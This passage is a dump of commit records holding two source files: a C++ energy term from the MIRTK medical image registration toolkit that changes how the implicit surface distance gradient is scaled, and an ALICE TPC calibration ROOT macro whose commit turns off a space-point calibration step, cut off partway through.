(_MaxDistance > .0) { \/\/ e.g. _Force->DistanceMeasure() == DM_Normal\n\n        if (!fequal(d, .0)) {\n          _Points->GetPoint(ptId, p);\n          maxd = .33 * _Force->IntersectWithRay(p, n, -d);\n          if (maxd < abs(d)) d = copysign(maxd, d);\n        }\n        (*g) = (d \/ _MaxDistance) * GradientType(n[0], n[1], n[2]);\n\n      } else { \/\/ _Force->DistanceMeasure() == DM_Minimum\n\n        if (d < .0) (*g) = -GradientType(n[0], n[1], n[2]);\n        else        (*g) =  GradientType(n[0], n[1], n[2]);\n        d = fabs(d);\n        if (d < 1.0) (*g) *= d;\n\n      }\n    }\n  }\n};\n\n\n} \/\/ namespace ImplicitSurfaceDistanceUtils\nusing namespace ImplicitSurfaceDistanceUtils;\n\n\/\/ =============================================================================\n\/\/ Construction\/Destruction\n\/\/ =============================================================================\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance::ImplicitSurfaceDistance(const char *name, double weight)\n:\n  ImplicitSurfaceForce(name, weight)\n{\n  _MaxDistance = 5.0;\n}\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance::ImplicitSurfaceDistance(const ImplicitSurfaceDistance &other)\n:\n  ImplicitSurfaceForce(other)\n{\n}\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance &ImplicitSurfaceDistance::operator =(const ImplicitSurfaceDistance &other)\n{\n  ImplicitSurfaceForce::operator =(other);\n  return *this;\n}\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance::~ImplicitSurfaceDistance()\n{\n}\n\n\/\/ -----------------------------------------------------------------------------\nvoid ImplicitSurfaceDistance::Initialize()\n{\n  ImplicitSurfaceForce::Initialize();\n  InitializeDistances();\n}\n\n\/\/ =============================================================================\n\/\/ Evaluation\n\/\/ =============================================================================\n\n\/\/ -----------------------------------------------------------------------------\nvoid ImplicitSurfaceDistance::Update(bool gradient)\n{\n  ImplicitSurfaceForce::Update(gradient);\n  UpdateDistances();\n}\n\n\/\/ -----------------------------------------------------------------------------\ndouble ImplicitSurfaceDistance::Evaluate()\n{\n  if (_NumberOfPoints == 0) return .0;\n  double sum = .0;\n  vtkDataArray *distances = Distances();\n  for (int ptId = 0; ptId < _NumberOfPoints; ++ptId) {\n    sum += abs(distances->GetComponent(ptId, 0));\n  }\n  return sum \/ _NumberOfPoints;\n}\n\n\/\/ -----------------------------------------------------------------------------\nvoid ImplicitSurfaceDistance::EvaluateGradient(double *gradient, double step, double weight)\n{\n  if (_NumberOfPoints == 0) return;\n\n  memset(_Gradient, 0, _NumberOfPoints * sizeof(GradientType));\n\n  vtkDataArray *distances = Distances();\n\n  double max_distance = .0;\n  if (_DistanceMeasure != DM_Minimum) {\n    data::statistic::AbsPercentile::Calculate(95, distances);\n  }\n\n  ComputeGradient eval;\n  eval._Force       = this;\n  eval._Points      = _PointSet->SurfacePoints();\n  eval._Status      = _PointSet->SurfaceStatus();\n  eval._Normals     = _PointSet->SurfaceNormals();\n  eval._Distances   = distances;\n  eval._MaxDistance = max_distance;\n  eval._Gradient    = _Gradient;\n  \/\/ Attention: VTK cell locator used by SurfaceForce::IntersectWithRay\n  \/\/            is not thread-safe. Hence, execute this loop in main thread.\n  \/\/parallel_for(blocked_range<int>(0, _NumberOfPoints), eval);\n  eval(blocked_range<int>(0, _NumberOfPoints));\n\n  _GradientAveraging        = 2;\n  _AverageGradientMagnitude = true;\n  _AverageSignedGradients   = false;\n\n  ImplicitSurfaceForce::EvaluateGradient(gradient, step, weight \/ _NumberOfPoints);\n}\n\n\n} \/\/ namespace mirtk\n<commit_msg>enh: Scale implicit surface distance gradient relative to max distance<commit_after>\/*\n * Medical Image Registration ToolKit (MIRTK)\n *\n * Copyright 2013-2015 Imperial College London\n * Copyright 2013-2015 Andreas Schuh\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <mirtkImplicitSurfaceDistance.h>\n\n#include <mirtkMath.h>\n#include <mirtkMemory.h>\n#include <mirtkParallel.h>\n#include <mirtkDataStatistics.h>\n#include <mirtkObjectFactory.h>\n\n#include <vtkPoints.h>\n#include <vtkDataArray.h>\n\n\nnamespace mirtk {\n\n\n\/\/ Register energy term with object factory during static initialization\nmirtkAutoRegisterEnergyTermMacro(ImplicitSurfaceDistance);\n\n\n\/\/ =============================================================================\n\/\/ Auxiliary functions\n\/\/ =============================================================================\n\nnamespace ImplicitSurfaceDistanceUtils {\n\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\/ Compute gradient of implicit surface distance force term (i.e., negative force)\nstruct ComputeGradient\n{\n  typedef ImplicitSurfaceDistance::GradientType GradientType;\n\n  ImplicitSurfaceForce *_Force;\n  vtkPoints            *_Points;\n  vtkDataArray         *_Status;\n  vtkDataArray         *_Normals;\n  vtkDataArray         *_Distances;\n  double                _MaxDistance;\n  double                _Scale;\n  GradientType         *_Gradient;\n\n  void operator ()(const blocked_range<int> &ptIds) const\n  {\n    double n[3], d;\n    GradientType *g = _Gradient + ptIds.begin();\n    for (vtkIdType ptId = ptIds.begin(); ptId != ptIds.end(); ++ptId, ++g) {\n      if (_Status && _Status->GetComponent(ptId, 0) == .0) continue;\n      _Normals->GetTuple(ptId, n);\n      d = _Distances->GetComponent(ptId, 0);\n      if (d < .0) (*g) = -GradientType(n[0], n[1], n[2]);\n      else        (*g) =  GradientType(n[0], n[1], n[2]);\n\n      if (_MaxDistance > .0) { \/\/ e.g. _Force->DistanceMeasure() == DM_Normal\n\n        d \/= _MaxDistance;\n        d *= _Scale;\n        d *= d;\n        (*g) *= d \/ (1.0 + d);\n\n      } else { \/\/ _Force->DistanceMeasure() == DM_Minimum\n\n        d = fabs(d);\n        if (d < 1.0) (*g) *= d;\n\n      }\n    }\n  }\n};\n\n\n} \/\/ namespace ImplicitSurfaceDistanceUtils\nusing namespace ImplicitSurfaceDistanceUtils;\n\n\/\/ =============================================================================\n\/\/ Construction\/Destruction\n\/\/ =============================================================================\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance::ImplicitSurfaceDistance(const char *name, double weight)\n:\n  ImplicitSurfaceForce(name, weight)\n{\n  _MaxDistance = 5.0;\n}\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance::ImplicitSurfaceDistance(const ImplicitSurfaceDistance &other)\n:\n  ImplicitSurfaceForce(other)\n{\n}\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance &ImplicitSurfaceDistance::operator =(const ImplicitSurfaceDistance &other)\n{\n  ImplicitSurfaceForce::operator =(other);\n  return *this;\n}\n\n\/\/ -----------------------------------------------------------------------------\nImplicitSurfaceDistance::~ImplicitSurfaceDistance()\n{\n}\n\n\/\/ -----------------------------------------------------------------------------\nvoid ImplicitSurfaceDistance::Initialize()\n{\n  ImplicitSurfaceForce::Initialize();\n  InitializeDistances();\n}\n\n\/\/ =============================================================================\n\/\/ Evaluation\n\/\/ =============================================================================\n\n\/\/ -----------------------------------------------------------------------------\nvoid ImplicitSurfaceDistance::Update(bool gradient)\n{\n  ImplicitSurfaceForce::Update(gradient);\n  UpdateDistances();\n}\n\n\/\/ -----------------------------------------------------------------------------\ndouble ImplicitSurfaceDistance::Evaluate()\n{\n  if (_NumberOfPoints == 0) return .0;\n  double sum = .0;\n  vtkDataArray *distances = Distances();\n  for (int ptId = 0; ptId < _NumberOfPoints; ++ptId) {\n    sum += abs(distances->GetComponent(ptId, 0));\n  }\n  return sum \/ _NumberOfPoints;\n}\n\n\/\/ -----------------------------------------------------------------------------\nvoid ImplicitSurfaceDistance::EvaluateGradient(double *gradient, double step, double weight)\n{\n  if (_NumberOfPoints == 0) return;\n\n  memset(_Gradient, 0, _NumberOfPoints * sizeof(GradientType));\n\n  vtkDataArray *distances = this->Distances();\n\n  double max_distance = .0;\n  if (_DistanceMeasure != DM_Minimum) {\n    data::statistic::AbsPercentile::Calculate(95, distances);\n  }\n\n  ComputeGradient eval;\n  eval._Force       = this;\n  eval._Points      = _PointSet->SurfacePoints();\n  eval._Status      = _PointSet->SurfaceStatus();\n  eval._Normals     = _PointSet->SurfaceNormals();\n  eval._Distances   = distances;\n  eval._MaxDistance = max_distance;\n  eval._Scale       = 1.0;\n  eval._Gradient    = _Gradient;\n  parallel_for(blocked_range<int>(0, _NumberOfPoints), eval);\n\n  ImplicitSurfaceForce::EvaluateGradient(gradient, step, weight \/ _NumberOfPoints);\n}\n\n\n} \/\/ namespace mirtk\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\n This macros setup the TPC calibration task AddTaskTPCCalib\n for CPass0.\n - the run number is required to config TPC OCDB\n \n The following calibration components are added to the AliTPCAnalysisTaskcalib task:\n 1. AliTPCcalibCalib - redo reconstruction with current calibration\n 2. AliTPCcalibTimeGain - TPC time dependent gain calibration\n 3. AliTPCcalibTime - TPC time dependent drift time calibration\n\n*\/\n\n\/\/ function to set TPC OCDB parameters\nvoid ConfigOCDB(Int_t crun);\n\nInt_t debugLevel=0;\nInt_t streamLevel=0;\n\n\/\/_____________________________________________________________________________\nAliAnalysisTask  *AddTaskTPCCalib(Int_t runNumber)\n{\n  \/\/\n  \/\/ add calibration task\n  \/\/\n  AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n  if (!mgr) {\n    ::Error(\"AddTaskTPCCalib\", \"No analysis manager to connect to.\");\n    return NULL;\n  }  \n  \n  \/\/ check the input handler\n  if (!mgr->GetInputEventHandler()) {\n    ::Error(\"AddTaskTPCCalib\", \"This task requires an input event handler\");\n    return NULL;\n  }  \n\n  \/\/ set TPC OCDB parameters\n  ConfigOCDB(runNumber);\n\n  \/\/ setup task TPCCalib\n  TString outputFileName=mgr->GetCommonFileName();\n  AliTPCAnalysisTaskcalib *task1=new AliTPCAnalysisTaskcalib(\"CalibObjectsTrain1\");\n  SetupCalibTaskTrain1(task1);\n  mgr->AddTask(task1);\n  AliAnalysisDataContainer *cinput1 = mgr->GetCommonInputContainer();\n  if (!cinput1) cinput1 = mgr->CreateContainer(\"cchain\",TChain::Class(), \n                                      AliAnalysisManager::kInputContainer);\n  for (Int_t i=0; i<task1->GetJobs()->GetEntries(); i++) {\n    if (task1->GetJobs()->At(i)) {\n      AliAnalysisDataContainer* coutput = mgr->CreateContainer(task1->GetJobs()->At(i)->GetName(),\n                                                               AliTPCcalibBase::Class(), \n                                                               AliAnalysisManager::kOutputContainer, \n                                                               \"AliESDfriends_v1.root:TPCCalib\"); \n      mgr->ConnectOutput(task1,i,coutput);\n    }\n  }\n  mgr->ConnectInput(task1,0,cinput1);\n  \/\/\n  \/\/ setup task TPCAlign\n  AliTPCAnalysisTaskcalib *taskAlign=new AliTPCAnalysisTaskcalib(\"CalibObjectsTrain1\");\n  SetupCalibTaskTrainAlign(taskAlign);\n  mgr->AddTask(taskAlign);\n  AliAnalysisDataContainer *cinput1 = mgr->GetCommonInputContainer();\n  if (!cinput1) cinput1 = mgr->CreateContainer(\"cchain\",TChain::Class(), \n                                      AliAnalysisManager::kInputContainer);\n  for (Int_t i=0; i<taskAlign->GetJobs()->GetEntries(); i++) {\n    if (taskAlign->GetJobs()->At(i)) {\n      AliAnalysisDataContainer* coutput = mgr->CreateContainer(taskAlign->GetJobs()->At(i)->GetName(),\n                                                               AliTPCcalibBase::Class(), \n                                                               AliAnalysisManager::kOutputContainer, \n                                                               \"AliESDfriends_v1.root:TPCAlign\"); \n      mgr->ConnectOutput(taskAlign,i,coutput);\n    }\n  }\n  mgr->ConnectInput(taskAlign,0,cinput1);\n  \/\/\n  \/\/ setup task TPCCluster\n  AliTPCAnalysisTaskcalib *taskCluster=new AliTPCAnalysisTaskcalib(\"CalibObjectsTrain1\");\n  SetupCalibTaskTrainCluster(taskCluster);\n  mgr->AddTask(taskCluster);\n  AliAnalysisDataContainer *cinput1 = mgr->GetCommonInputContainer();\n  if (!cinput1) cinput1 = mgr->CreateContainer(\"cchain\",TChain::Class(), \n                                      AliAnalysisManager::kInputContainer);\n  for (Int_t i=0; i<taskCluster->GetJobs()->GetEntries(); i++) {\n    if (taskCluster->GetJobs()->At(i)) {\n      AliAnalysisDataContainer* coutput = mgr->CreateContainer(taskCluster->GetJobs()->At(i)->GetName(),\n                                                               AliTPCcalibBase::Class(), \n                                                               AliAnalysisManager::kOutputContainer, \n                                                               \"AliESDfriends_v1.root:TPCCluster\"); \n      mgr->ConnectOutput(taskCluster,i,coutput);\n    }\n  }\n  mgr->ConnectInput(taskCluster,0,cinput1);\n  \/\/\n\n  return task1;\n}\n\n\/\/_____________________________________________________________________________\nvoid AddCalibCalib(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/ calibCalib is a prefilter \n  \/\/ The current OCDB entries transformation are applied on cluster, tracks are refitted\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibCalib *calibCalib = new AliTPCcalibCalib(\"calibTPC\",\"calibTPC\");\n  calibCalib->SetDebugLevel(0);\n  calibCalib->SetStreamLevel(0);\n  calibCalib->SetTriggerMask(-1,-1,kFALSE);        \/\/accept everything \n  myTask->AddJob(calibCalib);\n}\n\n\/\/_____________________________________________________________________________\nvoid AddCalibTimeGain(TObject* task, Bool_t isCosmic = kFALSE, char * name = \"calibTimeGain\"){\n  \/\/\n  \/\/  Responsible: Alexander Kalweit\n  \/\/  Description: Time Gain calibration\n  \/\/\n\n  \/\/ Set run time ranges (time stamps)\n  AliCDBEntry* entry = AliCDBManager::Instance()->Get(\"GRP\/GRP\/Data\");\n  if(!entry) { \n    ::Error(\"AddCalibTimeGain\",\"Cannot get AliCDBEntry\");\n    return;\n  }\n  const AliGRPObject* grpData = dynamic_cast<AliGRPObject*>(entry->GetObject());\n  if(!grpData) { \n    ::Error(\"AddCalibTimeGain\",\"Cannot get AliGRPObject\");\n    return;\n  }\n  time_t sTime = grpData->GetTimeStart(); \n  time_t eTime = grpData->GetTimeEnd(); \n  TTimeStamp startRunTime(sTime);\n  TTimeStamp stopRunTime(eTime);\n\n  UInt_t year;\n  startRunTime.GetDate(kTRUE,0,&year);\n  TTimeStamp startTime(year,1,1,0,0,0);\n  TTimeStamp stopTime(year,12,31,23,59,59);\n\n  \/\/ \n  \/\/ setup calibration component\n  \/\/\n\n  Bool_t useQmax = (grpData->GetBeamType()).Contains(\"Pb-Pb\");\n\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibTimeGain *calibTimeGain = new AliTPCcalibTimeGain(name,\"calibTimeGain\", startTime.GetSec(), stopTime.GetSec(), 10*60);\n  calibTimeGain->SetIsCosmic(isCosmic);\n  calibTimeGain->SetUseCookAnalytical(kTRUE);\n  calibTimeGain->SetUseMax(useQmax);\n  calibTimeGain->SetDebugLevel(0);\n  calibTimeGain->SetStreamLevel(0);\n  calibTimeGain->SetTriggerMask(-1,-1,kTRUE);        \/\/reject laser\n  calibTimeGain->SetLowerTrunc(0.02);\n  calibTimeGain->SetUpperTrunc(0.6);\n\n  myTask->AddJob(calibTimeGain);\n\n  AliTPCcalibGainMult *calibGainMult = new AliTPCcalibGainMult(\"calibGainMult\",\"calibGainMult\");\n  calibGainMult->SetUseMax(useQmax);\n  calibGainMult->SetDebugLevel(0);\n  calibGainMult->SetStreamLevel(0);\n  calibGainMult->SetTriggerMask(-1,-1,kTRUE);        \/\/reject laser\n  calibGainMult->SetLowerTrunc(0.02);\n  calibGainMult->SetUpperTrunc(0.6);\n\n  myTask->AddJob(calibGainMult);\n\n}\n\n\/\/_____________________________________________________________________________\nvoid AddCalibTime(TObject* task){\n  \/\/\n  \/\/ Responsible: Dag Larsen\n  \/\/ Description: Time V drift calibration\n  \/\/\n\n  \/\/ Set run time ranges (time stamps)\n  AliCDBEntry* entry = AliCDBManager::Instance()->Get(\"GRP\/GRP\/Data\");\n  if(!entry) { \n    ::Error(\"AddCalibTime\",\"Cannot get AliCDBEntry\");\n    return;\n  }\n  const AliGRPObject* grpData = dynamic_cast<AliGRPObject*>(entry->GetObject());\n  if(!grpData) { \n    ::Error(\"AddCalibTime\",\"Cannot get AliGRPObject\");\n    return;\n  }\n  time_t sTime = grpData->GetTimeStart(); \n  time_t eTime = grpData->GetTimeEnd(); \n\n  TTimeStamp startRunTime(sTime);\n  TTimeStamp stopRunTime(eTime);\n\n  UInt_t year;\n  startRunTime.GetDate(kTRUE,0,&year);\n  TTimeStamp startTime(year,1,1,0,0,0);\n  TTimeStamp stopTime(year,12,31,23,59,59);\n\n  \/\/ \n  \/\/ setup calibration component\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibTime *calibTime = new AliTPCcalibTime(\"calibTime\",\"calibTime\",  startTime.GetSec(), stopTime.GetSec(), 10*60, 2);\n  calibTime->SetDebugLevel(0);\n  calibTime->SetStreamLevel(0);\n  calibTime->SetTriggerMask(-1,-1,kFALSE);        \/\/accept everything \n\n  \/\/ max 15000 tracks per event\n  calibTime->SetCutTracks(15000);\n\n  myTask->AddJob(calibTime);\n}\n\n\nvoid AddCalibTracks(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/ Histogram residuals and pulls of the track parameters in bins of track parameters\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task; \n  AliTPCClusterParam * clusterParam = AliTPCcalibDB::Instance()->GetClusterParam();\n\n   AliTPCcalibTracksCuts *cuts = new AliTPCcalibTracksCuts(30, 0.4, 5, 0.13, 0.018);\n  \/\/\n  AliTPCcalibTracks *calibTracks =  new AliTPCcalibTracks(\"calibTracks\", \"Resolution calibration object for tracks\", clusterParam, cuts);\n  calibTracks->SetDebugLevel(debugLevel);\n  calibTracks->SetStreamLevel(streamLevel);\n  calibTracks->SetTriggerMask(-1,-1,kTRUE);       \n  myTask->AddJob(calibTracks); \n}\n\n\nvoid AddCalibAlign(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task; \n  AliTPCcalibAlign *calibAlign = new AliTPCcalibAlign(\"alignTPC\",\"Alignment of the TPC sectors\");\n  calibAlign->SetDebugLevel(debugLevel);\n  calibAlign->SetStreamLevel(streamLevel);\n  calibAlign->SetTriggerMask(-1,-1,kTRUE);        \/\/accept everything\n  myTask->AddJob(calibAlign);\n}\n\nvoid AddCalibAlignInterpolation(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task; \n  AliTPCcalibAlignInterpolation *calibAlign = new AliTPCcalibAlignInterpolation(\"alignTPCInterpolation\",\"Space point distortion calibration using interpolation\",0);\n  calibAlign->SetDebugLevel(debugLevel);\n  calibAlign->SetStreamLevel(streamLevel);\n  calibAlign->SetTriggerMask(-1,-1,kTRUE);        \/\/accept everything\n  myTask->AddJob(calibAlign);\n}\n\n\nvoid AddCalibLaser(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibLaser *calibLaser = new AliTPCcalibLaser(\"laserTPC\",\"laserTPC\");\n  calibLaser->SetDebugLevel(debugLevel);\n  calibLaser->SetStreamLevel(streamLevel);\n  calibLaser->SetTriggerMask(-1,-1,kFALSE);        \/\/accept everything\n  myTask->AddJob(calibLaser);\n}\n\n\nvoid AddCalibCosmic(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/ Histogram residuals and pulls of the track parameters in bins of track parameters\n  \/\/ Dump cosmic tracks to the tree\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibCosmic *calibCosmic = new AliTPCcalibCosmic(\"cosmicTPC\",\"cosmicTPC\");\n  calibCosmic->SetDebugLevel(debugLevel);\n  calibCosmic->SetStreamLevel(1);\n  calibCosmic->SetTriggerMask(-1,-1,kTRUE);        \/\/accept everything\n  myTask->AddJob(calibCosmic);\n}\n\n\n\n\/\/_____________________________________________________________________________\nvoid SetupCalibTaskTrain1(TObject* task){\n  \/\/\n  \/\/ Setup tasks for calibration train\n  \/\/\n  AddCalibCalib(task);\n  AddCalibTimeGain(task);\n  AddCalibTime(task);\n  AddCalibAlignInterpolation(task);\n}\n\nvoid SetupCalibTaskTrainAlign(TObject* task){\n  \/\/\n  \/\/ Setup tasks for calibration train\n  \/\/\n  AddCalibAlign(task);\n  AddCalibLaser(task);\n  \/\/AddCalibCosmic(task);\n}\n\nvoid SetupCalibTaskTrainCluster(TObject* task){\n  \/\/\n  \/\/ Setup tasks for calibration train\n  \/\/\n  AddCalibTracks(task);\n}\n\n\/\/_____________________________________________________________________________\nvoid ConfigOCDB(Int_t run){\n  \/\/\n  \/\/ Configure TPC OCDB\n  \/\/\n  printf(\"SETUP OCBD for TPC\\n\");\n  printf(\"SETUP OCBD for TPC\\n\");\n  printf(\"SETUP OCBD for TPC Run =%d\\n\", run);\n  \/\/\n  \/\/\n  AliTPCParam *param= AliTPCcalibDB::Instance()->GetParameters();\n  param->ReadGeoMatrices();\n  \/\/\n  AliMagF* magF= TGeoGlobalMagField::Instance()->GetField();\n  printf(\"\\n\\nSET EXB FIELD\\t\\n\\n\");\n  AliTPCcalibDB::Instance()->SetExBField(magF);\n  \/\/\n  \/\/\n  \/\/\n  AliTPCTransform *transform     = AliTPCcalibDB::Instance()->GetTransform() ;\n  \/\/\n  \/\/AliTPCRecoParam * tpcRecoParam = AliTPCRecoParam::GetCosmicTestParam(kTRUE);\n  \/\/\n  AliCDBEntry* entry = AliCDBManager::Instance()->Get(\"TPC\/Calib\/RecoParam\");\n  if (!entry){\n    ::Error(\"AddTaskTPCCalib\",\"TPC reco param not available\");\n    return;\n  }\n  TObjArray * array = (TObjArray*)entry->GetObject();\n  if (!array){\n    ::Error(\"AddTaskTPCCalib\",\"TPC reco param not available\");\n    return;\n  }\n  \n  \/\/get the beam type from OCDB to decide which type of reco param we need -\n  \/\/high or low flux\n  entry = AliCDBManager::Instance()->Get(\"GRP\/GRP\/Data\");\n  AliGRPObject* grpData = dynamic_cast<AliGRPObject*>(entry->GetObject());  \/\/ new GRP entry\n  TString beamType = grpData->GetBeamType();\n  if (beamType==AliGRPObject::GetInvalidString()) {\n    ::Error(\"AddTaskTPCCalib\",\"GRP\/GRP\/Data entry:  missing value for the beam type ! Using UNKNOWN\");\n    beamType = \"UNKNOWN\";\n  }\n  \/\/ 0 - Low Flux (pp), 1- High Flux (Pb-Pb)\n  Int_t fluxType=0;\n  if (beamType.Contains(\"p-p\")) {fluxType=0;}\n  if (beamType.Contains(\"A-A\")) {fluxType=1;}\n  AliTPCRecoParam * tpcRecoParam = (AliTPCRecoParam*)array->At(fluxType);\n  ::Info(\"AddTaskTPCCalib\",\"Beam type: %s, using fluxType=%i\",beamType.Data(),fluxType);\n  tpcRecoParam->Print();\n\n  transform->SetCurrentRecoParam(tpcRecoParam);\n  tpcRecoParam->SetUseGainCorrectionTime(0);\n  tpcRecoParam->SetUseRPHICorrection(kFALSE); \n  tpcRecoParam->SetUseTOFCorrection(kFALSE);\n  \/\/\n  tpcRecoParam->SetUseDriftCorrectionTime(0);\n  tpcRecoParam->SetUseDriftCorrectionGY(0);\n  \/\/\n  tpcRecoParam->SetUseRadialCorrection(kFALSE);\n  tpcRecoParam->SetUseQuadrantAlignment(kFALSE);\n  \/\/\n  tpcRecoParam->SetUseSectorAlignment(kFALSE);\n  tpcRecoParam->SetUseFieldCorrection(kFALSE);\n  tpcRecoParam->SetUseExBCorrection(kFALSE);\n  \/\/\n  tpcRecoParam->SetUseMultiplicityCorrectionDedx(kFALSE);\n  tpcRecoParam->SetUseAlignmentTime(kFALSE);\n  tpcRecoParam->SetUseComposedCorrection(kTRUE);\n  \/\/\n  tpcRecoParam->SetCorrectionHVandPTMode(1);\n\n  AliTPCcalibDB::Instance()->SetRun(run); \n}\n<commit_msg>ATO-108 - switch OFF default space point calibration in the CPass0 calibration. This step invalidates standard calibration pass<commit_after>\/*\n\n This macros setup the TPC calibration task AddTaskTPCCalib\n for CPass0.\n - the run number is required to config TPC OCDB\n \n The following calibration components are added to the AliTPCAnalysisTaskcalib task:\n 1. AliTPCcalibCalib - redo reconstruction with current calibration\n 2. AliTPCcalibTimeGain - TPC time dependent gain calibration\n 3. AliTPCcalibTime - TPC time dependent drift time calibration\n\n*\/\n\n\/\/ function to set TPC OCDB parameters\nvoid ConfigOCDB(Int_t crun);\n\nInt_t debugLevel=0;\nInt_t streamLevel=0;\n\n\/\/_____________________________________________________________________________\nAliAnalysisTask  *AddTaskTPCCalib(Int_t runNumber)\n{\n  \/\/\n  \/\/ add calibration task\n  \/\/\n  AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n  if (!mgr) {\n    ::Error(\"AddTaskTPCCalib\", \"No analysis manager to connect to.\");\n    return NULL;\n  }  \n  \n  \/\/ check the input handler\n  if (!mgr->GetInputEventHandler()) {\n    ::Error(\"AddTaskTPCCalib\", \"This task requires an input event handler\");\n    return NULL;\n  }  \n\n  \/\/ set TPC OCDB parameters\n  ConfigOCDB(runNumber);\n\n  \/\/ setup task TPCCalib\n  TString outputFileName=mgr->GetCommonFileName();\n  AliTPCAnalysisTaskcalib *task1=new AliTPCAnalysisTaskcalib(\"CalibObjectsTrain1\");\n  SetupCalibTaskTrain1(task1);\n  mgr->AddTask(task1);\n  AliAnalysisDataContainer *cinput1 = mgr->GetCommonInputContainer();\n  if (!cinput1) cinput1 = mgr->CreateContainer(\"cchain\",TChain::Class(), \n                                      AliAnalysisManager::kInputContainer);\n  for (Int_t i=0; i<task1->GetJobs()->GetEntries(); i++) {\n    if (task1->GetJobs()->At(i)) {\n      AliAnalysisDataContainer* coutput = mgr->CreateContainer(task1->GetJobs()->At(i)->GetName(),\n                                                               AliTPCcalibBase::Class(), \n                                                               AliAnalysisManager::kOutputContainer, \n                                                               \"AliESDfriends_v1.root:TPCCalib\"); \n      mgr->ConnectOutput(task1,i,coutput);\n    }\n  }\n  mgr->ConnectInput(task1,0,cinput1);\n  \/\/\n  \/\/ setup task TPCAlign\n  AliTPCAnalysisTaskcalib *taskAlign=new AliTPCAnalysisTaskcalib(\"CalibObjectsTrain1\");\n  SetupCalibTaskTrainAlign(taskAlign);\n  mgr->AddTask(taskAlign);\n  AliAnalysisDataContainer *cinput1 = mgr->GetCommonInputContainer();\n  if (!cinput1) cinput1 = mgr->CreateContainer(\"cchain\",TChain::Class(), \n                                      AliAnalysisManager::kInputContainer);\n  for (Int_t i=0; i<taskAlign->GetJobs()->GetEntries(); i++) {\n    if (taskAlign->GetJobs()->At(i)) {\n      AliAnalysisDataContainer* coutput = mgr->CreateContainer(taskAlign->GetJobs()->At(i)->GetName(),\n                                                               AliTPCcalibBase::Class(), \n                                                               AliAnalysisManager::kOutputContainer, \n                                                               \"AliESDfriends_v1.root:TPCAlign\"); \n      mgr->ConnectOutput(taskAlign,i,coutput);\n    }\n  }\n  mgr->ConnectInput(taskAlign,0,cinput1);\n  \/\/\n  \/\/ setup task TPCCluster\n  AliTPCAnalysisTaskcalib *taskCluster=new AliTPCAnalysisTaskcalib(\"CalibObjectsTrain1\");\n  SetupCalibTaskTrainCluster(taskCluster);\n  mgr->AddTask(taskCluster);\n  AliAnalysisDataContainer *cinput1 = mgr->GetCommonInputContainer();\n  if (!cinput1) cinput1 = mgr->CreateContainer(\"cchain\",TChain::Class(), \n                                      AliAnalysisManager::kInputContainer);\n  for (Int_t i=0; i<taskCluster->GetJobs()->GetEntries(); i++) {\n    if (taskCluster->GetJobs()->At(i)) {\n      AliAnalysisDataContainer* coutput = mgr->CreateContainer(taskCluster->GetJobs()->At(i)->GetName(),\n                                                               AliTPCcalibBase::Class(), \n                                                               AliAnalysisManager::kOutputContainer, \n                                                               \"AliESDfriends_v1.root:TPCCluster\"); \n      mgr->ConnectOutput(taskCluster,i,coutput);\n    }\n  }\n  mgr->ConnectInput(taskCluster,0,cinput1);\n  \/\/\n\n  return task1;\n}\n\n\/\/_____________________________________________________________________________\nvoid AddCalibCalib(TObject* task){\n  \/\/\n  \/\/ Responsible: Marian Ivanov\n  \/\/ Description:\n  \/\/ calibCalib is a prefilter \n  \/\/ The current OCDB entries transformation are applied on cluster, tracks are refitted\n  \/\/\n  AliTPCAnalysisTaskcalib* myTask = (AliTPCAnalysisTaskcalib*) task;\n  AliTPCcalibCalib *calibCalib = new AliTPCcalibCalib(\"calibTPC\",\"calibTPC\");\n  calibCalib->SetDebugLevel(0);\n  calibCalib->SetStreamLevel(0);\n  calibCalib->SetTriggerMask(-1,-1,kFALSE);        \/\/accept everything \n  myTask->AddJob(calibCalib);\n}\n\n\/\/_____________________________________________________________________________\nvoid AddCalibTimeGain(TObject* task, Bool_t isCosmic = kFALSE, char * name = \"calibTimeGain\"){\n  \/\/\n  \/\/  Responsible: Alexander Kalweit\n  \/\/  Description: Time Gain calibration\n  \/\/\n\n  \/\/ 